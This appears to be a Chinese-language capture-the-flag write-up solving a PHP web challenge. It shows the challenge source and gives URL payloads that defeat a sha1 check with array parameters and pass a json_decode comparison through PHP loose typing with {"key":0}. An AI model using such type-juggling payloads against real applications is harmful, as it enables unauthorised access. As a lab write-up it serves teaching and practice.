本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。
题目链接: ce.pwnthebox.com/challenges?…
得到题目源码如下
<?php
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
?>
简单分析得到a和b赋值相同就可以bypass
key这里需要传入json格式的值,我想了好久。
后来,大佬点播之后,遂使用key={"key": 0}刚开始给0加了引号,发现过不了。去掉引号就行了。这里使用的是json_decode绕过
define('key', 'flag{4}');
if (isset($_POST['a'])) {
$a = json_decode($_POST['a']);
if ($a->key == $key) {
echo "flag" . key;
} else {
echo "不相等";
}
} else{
echo "a不存在";
}
输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于
$key的 值 。 虽 然$key的值我们不知道,但是可以利用0=="string"这种形式绕过。
payload如下:
https://xxxxxxxxxxx.run/?a=1&b=1&key={"key":0}
总结: 分析源码发现存在三个判断,
第一个:判断sha1加密后两个变量的值和类型是否相同,相同将good变量值设为true (可以使用数组绕过sha1检测)
第二个:判断good变量的值和key的值是否存在
第三个: 通过对传入的key值进行json 解码,判断key变量中key键的值是否和key变量的值一样 (因为php是弱类型语言,所以数字和字符串进行比较时,字符串会转成数字,如果字符串的第一位不是数字,则字符串被转成0)
payload: ?a[]=1&b[]=1&key={"key":0}